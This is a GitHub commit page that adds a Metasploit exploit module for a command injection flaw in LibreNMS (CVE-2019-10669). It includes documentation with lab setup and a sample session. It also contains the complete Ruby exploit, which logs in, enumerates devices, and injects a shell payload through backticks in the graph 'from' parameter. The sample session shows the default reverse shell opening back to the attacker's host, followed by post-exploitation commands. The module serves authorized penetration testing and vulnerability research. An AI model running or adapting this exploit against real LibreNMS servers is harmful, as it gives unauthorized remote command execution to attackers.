Skip to content
Permalink
Browse files

Land #12189, Add module for LibreNMS CVE-2019-10669

Merge branch 'land-12189' into upstream-master
  • Loading branch information...
bwatters-r7 committed Sep 6, 2019
2 parents 2ec2ecb + 70d5bd4 commit 25b56c410da68cfc7c560472bf8f1097cf24a990
@@ -0,0 +1,128 @@
## Description

A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`.

The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and
`from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()`
which ignores certain characters, including backticks. These improperly sanitized parameters are then
used in a shell command that gets executed via the `passthru()` function.

This module has been tested on LibreNMS `v1.46` and `v.1.50`.

## Vulnerable Application

A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50).

Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/).

Collectd will need to be set up with LibreNMS for this exploit to work. These instructions
are for the Ubuntu OVA.

```sudo apt-get install collectd```
Open the Collectd config file `/etc/collectd/collectd.conf`
and uncomment the global options for the `Hostname` and `BaseDir`.
Next, uncomment the lines for the cpu plugin.
The plugin should look similar to this:
```
<Plugin cpu>
ReportByCpu true
ReportByState true
ValuesPercentage false
</Plugin>
```
Next, find the `rrdtool` plugin and ensure it looks like this:
```
<Plugin rrdtool>
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
</Plugin>
```
Save and exit
Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add
```
LoadPlugin rrdtool
<Plugin rrdtool>
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
</Plugin>
```
Save and exit, then restart the Collectd service:
```sudo systemctl restart collectd```
Lastly, add these two lines to the LibreNMS config file,
`/opt/librenms/config.php`:
```
$config['collectd_dir'] = '/var/lib/collectd/rrd';
$config['collectd_sock'] = 'unix:///var/run/collectd.sock';
```
Now save and exit.
You can verify that Collectd is set up with LibreNMS by viewing the
`localhost` device in LibreNMS and noting that there should be a Collectd
tab on the device's main page.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject```
4. Do: ```set RHOSTS <ip>```
5. Do: ```set USERNAME <user>```
6. Do: ```set PASSWORD <pass>```
7. Do: ```run```
8. You should get a shell.
## Scenarios
### Tested on LibreNMS `v1.46`
```
msf5 > use exploit/linux/http/librenms_collectd_cmd_inject
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133
rhosts => 192.168.37.133
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah
username => blah
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password
password => password
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check
[*] 192.168.37.133:80 - The target service is running, but could not be validated.
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run
[*] Started reverse TCP double handler on 192.168.37.1:4444
[*] Successfully logged into LibreNMS. Storing credentials...
[*] LibreNMS version: 1.46
[*] Sending payload via device 122
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 67Fk9T3DyODcIsbL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500

whoami
www-data
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```
@@ -0,0 +1,231 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS Collectd Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the
Collectd graphing functionality in LibreNMS.
The `to` and `from` parameters used to define the range for
a graph are sanitized using the `mysqli_escape_real_string()`
function, which permits backticks. These parameters are used
as part of a shell command that gets executed via the `passthru()`
function, which can result in code execution.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Eldar Marcussen', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-10669' ],
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
}
]
],
'DisclosureDate' => '2019-07-15',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
])
end

def check
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')

about_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
)

return Exploit::CheckCode::Detected unless about_res && about_res.code == 200

version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
return Exploit::CheckCode::Detected unless version && version.length > 1
vprint_status("LibreNMS version #{version[1]} detected")
version = Gem::Version.new(version[1])

return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
end

def login
login_uri = normalize_uri(target_uri.path, 'login')
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

cookies = res.get_cookies
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

cookies = login_res.get_cookies
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookies
)
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
login_res.get_cookies
end

def get_version
uri = normalize_uri(target_uri.path, 'about')

res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200

html = res.get_html_document
version = html.search('tr//td//a')
fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
version.each do |e|
return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
end
end

def get_device_ids
version = get_version
print_status("LibreNMS version: #{version}")

if version && Gem::Version.new(version) < Gem::Version.new('1.50')
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
format = '+list_detail'
else
dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
format = 'list_detail'
end

dev_res = send_request_cgi(
'method' => 'POST',
'uri' => dev_uri,
'cookie' => @cookies,
'vars_post' =>
{
'id' => 'devices',
'format' => format,
'current' => '1',
'sort[hostname]' => 'asc',
'rowCount' => 50
}
)

fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200

json = JSON.parse(dev_res.body)
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?

json = json['rows']
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?

hosts = []
json.each do |row|
hostname = row['hostname']
next if hostname.nil?

id = hostname.match('href=\"device\/device=(\d+)\/')
next unless id && id.length > 1
hosts << id[1]
end

fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?

hosts
end

def get_plugin_info(id)
uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")

res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
return unless res && res.code == 200

html = res.get_html_document
plugin_link = html.at('div[@class="col-md-3"]//a/@href')
return if plugin_link.nil?

plugin_link = plugin_link.value
plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
c_plugin = plugin_hash['c_plugin']
c_type = plugin_hash['c_type']
c_type_instance = plugin_hash['c_type_instance'] || ''
c_plugin_instance = plugin_hash['c_plugin_instance'] || ''

return c_plugin, c_type, c_plugin_instance, c_type_instance
end

def exploit
req_uri = normalize_uri(target_uri.path, 'graph.php')
@cookies = login

dev_ids = get_device_ids

collectd_device = -1
plugin_name = nil
plugin_type = nil
plugin_instance = nil
plugin_type_inst = nil
dev_ids.each do |device|
collectd_device = device
plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
collectd_device = -1
end

fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
print_status("Sending payload via device #{collectd_device}")

res = send_request_cgi(
'method' => 'GET',
'uri' => req_uri,
'cookie' => @cookies,
'vars_get' =>
{
'device' => collectd_device,
'type' => 'device_collectd',
'to' => Rex::Text.rand_text_numeric(10),
'from' => "1`#{payload.encoded}`",
'c_plugin' => plugin_name,
'c_type' => plugin_type,
'c_plugin_instance' => plugin_instance,
'c_type_instance' => plugin_type_inst
}
)
end
end

0 comments on commit 25b56c4

Please sign in to comment.
You can’t perform that action at this time.